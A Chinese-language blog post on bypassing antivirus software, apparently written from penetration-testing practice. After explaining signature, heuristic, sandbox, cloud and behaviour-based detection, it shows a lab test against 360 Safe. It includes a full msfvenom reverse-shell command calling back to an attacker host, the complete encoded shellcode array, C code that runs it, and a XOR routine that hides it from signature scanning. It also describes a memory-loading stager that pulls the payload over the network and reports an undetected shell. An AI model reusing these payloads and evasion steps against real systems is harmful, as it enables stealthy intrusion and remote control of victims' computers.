和杀毒软件愉快玩耍的日子

在实际的渗透测试中,杀毒软件是个无法忽视的话题;比喻的话,就像谈恋爱最终都要见对方父母一样, 除非你不想把这层关系持续下去. 因此,本篇作文主要研究如何使自己的恶意软件(MalWare) 绕过杀毒软件的识别和查杀.

FBI WARNING
本文所述的方法和经验只作为个人总结和笔记,切勿用于违法用途!!

杀毒软件的工作方式

俗话说,知己知彼,百战不殆. 杀毒软件保护电脑的方式一般有静态签名查杀,静态启发式查杀, 动态查杀,云查杀和主动防御几种. 不过这些只能根据我个人的理解以及前人的经验进行总结, 实际上也不太可能有什么官方文档来说明技术实现细节, 如果觉得我说得不对的话欢迎指出.

签名(Signature)分析是基于黑名单的方式. 当一个新的木马或者病毒被杀毒软件检测为恶意软件时, 就会产生一个新的签名. “签名"是软件的一个特征值,可以基于特定的代码或数据(例如使用特定字符串的锁). 通常签名基于恶意二进制文件的第一段可执行的字节. 杀软拥有包含上百万恶意软件签名的数据库, 在扫描一个软件时会将其与数据库中的签名进行比对,如果符合,则报告为恶意软件.

第一代杀毒软件使用的就是这种方法,现在仍然在使用,不过通常会和其他检测方式协同工作. 一些工具,例如YARA,可以用来很容易地创建规则以对恶意软件进行分类和识别, 这些规则可以上传到杀软或者逆向工程的工具中.

静态签名分析的一个主要弊端是它无法检测到新型的恶意软件.要绕过静态分析只需重新编译新的代码, 或者在原有代码的基础上进行精确修改以删除实际的签名. 有种称之为多态病毒(polymorphic viruses) 的恶意软件,可以在运行时修改自身的代码(使用加密的方法)从而能不断变换其自身的签名哈希, 从而逃避杀毒软件的识别.

在这种方式下,杀毒软件会查找经常出现在恶意软件中的一些代码或者模式.不同的杀软公司有 不同的规则,而且这些规则通常是不公开的, 所以有时候不是很好理解为什么杀软认为某个软件是"恶意的”. 启发式分析的优点是可以识别新型的恶意软件,而不依靠祖上的数据库;缺点也是明显的, 启发式查杀经常会触发"误报".

一个静态启发式查杀的例子是CallNextHookEx函数,这个函数通常被恶意软件用来实现键盘记录(Keylogger), 因此一些杀软会检测这个函数的使用(在可执行文件中的数据段检测该函数名)并且对该可执行文件向用户发出警告. 另外一个例子是,如果一段代码尝试打开"explorer.exe"进程并且尝试向其虚拟内存中写数据的话, 也是会被启发式分析判断为恶意的.

一个绕过静态启发式分析的方法是确保所有恶意的代码部分都是隐藏(加密)的, 如果在解密之前软件没有触发 杀软的警告,而且解密模块也没有可疑行为的话,那么静态启发通常是检测不出来这个恶意软件的.

随着病毒和杀软的对抗日益增加,许多病毒都会给自己进行加密,这使得静态查杀已经不太有效果, 因此后来又出现了动态查杀. 这种方式是指在扫描一个可执行文件的时候,先将其导入到杀软虚拟出的 环境(沙盒)之中运行一段时间,并且与静态分析的方式结合起来. 在沙盒中恶意软件会解密自己, 最终露出狰狞的面目, 从而被静态分析出恶意的行为或者签名.

事实上动态分析是一件很复杂的事情,需要实时扫描上百万份文件,还要在虚拟化环境中运行它们, 并且检测所有的签名等等, 其同样也有局限性:

  • 首先,扫描速度必须要非常快,因此在每次扫描中能执行的操作是有限的;
  • 其次,因为沙盒环境是虚拟出来的,所以无法得知机器和恶意软件的特异性;
  • 最后,虚拟本身有一些特征是可以被恶意软件感知到的.

最近"云"的概念大家都玩得不亦乐乎,安全产商也不甘落后,推出了云查杀的概念. 这种查杀方法用来发现新型的大规模部署的木马和后门饶有成效,其主要的思路是当某些可执行文件有可疑的行为, 比如后台安装服务,进程注入,修改系统目录里的文件等,就会将父文件上传到云,并纪录签名. 如果一个时间段内一定数量同样签名的文件被记录了同样的行为,那么就可以初步判断为恶意软件, 从而记录进黑名单列表中,保护其他打算执行这个文件的客户端免受进一步侵害. 当然这也是有误报的,比如"QQ",谁叫企鹅老是在系统目录里乱搞呢,呵呵,不过那都是题外话了.

云查杀看似让黑产无处可躲,但其实也可以被绕过的,比如白名单或者动态更新签名. 曾经有过一种脑洞新奇的方法我很喜欢,就是恶意软件自身会先让自己膨胀,体积变得巨大, 这样可以使得一部分杀软会考虑网络原因而选择不上传该文件.

所谓魔高一尺,道高一丈,在杀软和木马的对抗不断升级下,有的杀毒软件已经受够了"慢半拍" 的骂名,提出所谓"主动防御"的查杀方式. 当然安全产商也没提供相应的技术细节, 但根据我的经验来看应该是实时Hook了系统中一些关键的API调用,并给用户警告. 实践上来看,这种方式还是挺有效果的. 虽然不是没有办法绕过,但绕过的技术成本和时间成本提高了不少.

实践测试

了解了杀毒软件的基本工作原理,可以开始对其实时进行调戏了. 这里我选择用360安全卫士来 作为测试目标,因为它似乎占领了我国大部分PC用户的市场. 首先我在我的Windows7虚拟机里安装了 360安全卫士,细心地避免安装成全家桶. 安装完后重启,效果还是挺明显的,开机时间从10秒变成了30秒.

然后,先用msfvenom生成了一个反弹shell的木马:

bash

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp  LHOST=10.0.1.104 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe -o test360.exe

test360.exe丢到windows7里用360扫描会被报告为木马,如下:

360-1

事实上这种用工具生成的payload,早就在各大安全产商的数据库里了,丢到一些在线扫描的网站上也是分分钟被报毒:

virscan-1

既然静态分析躲不过,那我把payload加密一下看看行不行? 这次先用msfvenom生成二进制的payload:

bash

$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp  LHOST=10.0.1.104 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00\x26' -f c

运行后可以得到一个payload的c数组:

text

    Found 1 compatible encoders
    Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
    x86/shikata_ga_nai succeeded with size 360 (iteration=0)
    x86/shikata_ga_nai succeeded with size 387 (iteration=1)
    x86/shikata_ga_nai succeeded with size 414 (iteration=2)
    x86/shikata_ga_nai succeeded with size 441 (iteration=3)
    x86/shikata_ga_nai succeeded with size 468 (iteration=4)
    x86/shikata_ga_nai chosen with final size 468
    Payload size: 468 bytes
    unsigned char buf[] = 
    "\xd9\xc0\xd9\x74\x24\xf4\xbe\xb6\x38\x73\x74\x5a\x31\xc9\xb1"
    "\x6f\x83\xc2\x04\x31\x72\x14\x03\x72\xa2\xda\x86\xcf\x7d\x32"
    "\xfe\xa3\x5b\x98\xd9\xb0\x7f\xeb\x80\x0b\xb6\xa2\x5d\xef\x8a"
    "\xc1\xac\xb5\x1a\xc9\x94\x59\x4f\x10\x64\x17\x4e\xdc\xe8\x3f"
    "\xb0\x7e\x06\x39\x86\x45\xcf\xf1\xe1\x64\x8b\xa2\x76\xb9\x5c"
    "\x82\xe8\xd5\x84\x6d\x13\x7f\xfe\xf4\xc9\xa7\xb6\xdc\x8d\x9f"
    "\x1f\xe8\x40\x84\xc0\xea\x45\x27\x24\x14\x21\x1f\x88\xc3\x0e"
    "\xc6\x89\x3c\x71\xef\x08\x69\x72\x2c\x7d\x5d\x25\xce\x67\xbe"
    "\x8f\x27\xdb\x27\x18\x45\xf2\x30\x84\x4e\x85\x23\x66\xde\x2d"
    "\x51\x52\xa3\xcc\xd5\xdd\xfa\x37\x76\x98\xc5\x4c\x10\x48\xf3"
    "\xc4\x91\x12\xd4\x13\xe6\xb0\x9c\x74\x8b\x8a\x7e\xfb\xe6\xef"
    "\x86\x5f\x89\xdd\xd8\xc3\x33\x66\xd5\x4d\x0e\xbf\x8c\x69\x9f"
    "\xcd\xa9\xb5\x80\x5a\xee\x2c\x89\xc5\x1c\x75\xeb\x94\x4a\xa0"
    "\xcc\x9f\xaf\xfb\x72\xfd\x17\x23\xdb\x2d\x06\xa9\x60\x8e\x66"
    "\xbf\xac\x2a\x9c\x19\x2b\x6f\xae\x7d\x06\x4d\xf6\xd3\x64\xfd"
    "\xa7\x6d\xfa\x70\x48\x1a\x1a\xaf\x63\xcf\x66\x7a\x41\x8e\xda"
    "\xc6\xbc\x47\x8e\xdd\xe3\x39\xd1\xa4\xd8\xa6\x6f\xb4\x6a\xc3"
    "\x35\x27\x17\x3a\x1f\x34\x73\xda\xa8\x1e\x7d\xa6\xab\x8c\xca"
    "\x25\xf8\xcd\xe4\x22\x32\x78\x81\xf1\x01\x22\x70\x12\x77\xa2"
    "\x41\x74\xb4\xe2\xb9\x03\xd6\x2a\xc3\x41\x3a\x2a\x7a\xa8\x2a"
    "\x6b\xd6\x19\x06\x04\x19\x25\xc2\x8a\x7e\xc6\xf7\x4c\xd4\x69"
    "\xe6\x1e\x49\xc0\x4b\x9d\x6e\x53\xbb\xe7\x56\x5b\x66\xd1\x7c"
    "\xbe\x15\xb9\xde\xc9\x38\x54\xd5\x8d\x83\x8e\x40\x09\x96\xc1"
    "\xef\xb8\x1a\x1f\x6d\xb8\x31\x7c\xbb\x49\x3c\xee\x98\x8e\x47"
    "\x1d\x56\x6e\xbe\x67\xeb\x25\xc5\x02\x5d\x05\x36\x6b\x5f\xe8"
    "\x7c\x68\x44\xa8\xd8\xa6\x7f\xb8\x67\x29\x25\xfa\xa6\x80\x46"
    "\x09\x8d\x2b\x0d\xe8\x1c\xa4\x60\xf0\xec\x7d\xb9\xc4\xbd\xaf"
    "\xdc\x29\x49\xd4\x7a\x0f\xef\x2e\xdd\x4b\x20\x33\x7a\xfd\x20"
    "\x1d\xf1\x27\x7a\x6e\x38\x27\xfe\x07\x31\x6d\xa9\x33\x09\x88"
    "\x43\x59\xa1\x59\xbd\xe5\x82\xa5\x34\x6a\x0c\x1a\xb2\x81\xc3"
    "\x93\x9b\x6c\xce\xac\xc6\xa7\x7a\xa9\xe8\x87\x84\xb4\x37\x60"
    "\xfd\xc7\x65";

运行时只要将其转换为函数指针来调用即可:

cpp

int main() {
	(* (int(*)()) buf)();
	return 0;
}

但是我们这里不直接运行,而是把加密后的内容写进代码里,运行前先进行解密. 我们知道变量与某个定值异或(xor)两次之后还是自己本身,因此我用异或作为 简单的加解密方式,这里用0x26做异或:

cpp

void xor_codec(const unsigned char *in, unsigned char *out) {
    int in_len = strlen((const char*)in);
    for(int i=0; i<in_len; i++) 
        out[i] = in[i] ^ 0x26;
	out[i] = 0;
}

现在将带有加密后的payload以及解密逻辑的代码编译为test360-2.exe,上传到 在线查杀看看结果:

virscan-2

看来只要简单的加密,就能绕过大多数基于签名的静态查杀. 第一次用360右键进行木马云查杀的时候, 也显示文件是安全的,但是一旦双击运行:

360-2

被动态分析查杀出来了.然后再一次右键进行木马云查杀时候,就警告为木马了.估计是动态检测到恶意软件 的时候把新的签名也传到云端服务器了,不过我没有抓包去证明,因为这不重要.

重要的是,有什么办法可以绕过360的动态检测呢? 其实方法有很多,这里只举一个最简单的例子:内存加载. 内存加载的思路是让程序在运行的过程中从外部(比如网络上)获取恶意的payload,然后再拷贝到可执行的 内存中进行调用. 由于整个过程都只发生在内存里,而不写入磁盘,因此杀毒软件几乎无法根据签名特征来进行查杀.

从行为上看,我们写的可执行文件也只是和某个地址建立了TCP链接,并从socket里读写数据,再正常不过了. 编译一个test360-3.exe,直接与metasploit的监听端口进行连接并且获取Stage Payload然后组装好再执行, 在有杀软的电脑上成功启动,没有收到任何阻拦:

360-3

在攻击主机上也可以看到中木马的小伙伴成功上线了:

server

后记

获得了反弹的shell或者meterpreter会话只是成功的一小步,利用meterpreter可以实施许多类型的 远程控制,比如键盘记录,控制摄像头,屏幕截图,下载/上传文件等,但是实际上前面提到的主动防御会拦截到大多数敏感的API调用,至少经过我测试,键盘记录,进程注入以及尝试kill掉360都是会被弹窗警告的, 也许是因为这类操作有可能会造成用户钱财损失吧.这种大量的API HOOK一方面让黑产从业人员挠破了头, 但是另一方面也降低了用户的电脑使用体验(全家桶造成的伤害另算).安全产商需要在这之间做好权衡, 其实是一件费力不讨好的事.如何绕过主动防御,就等下次再说吧.(也许不会)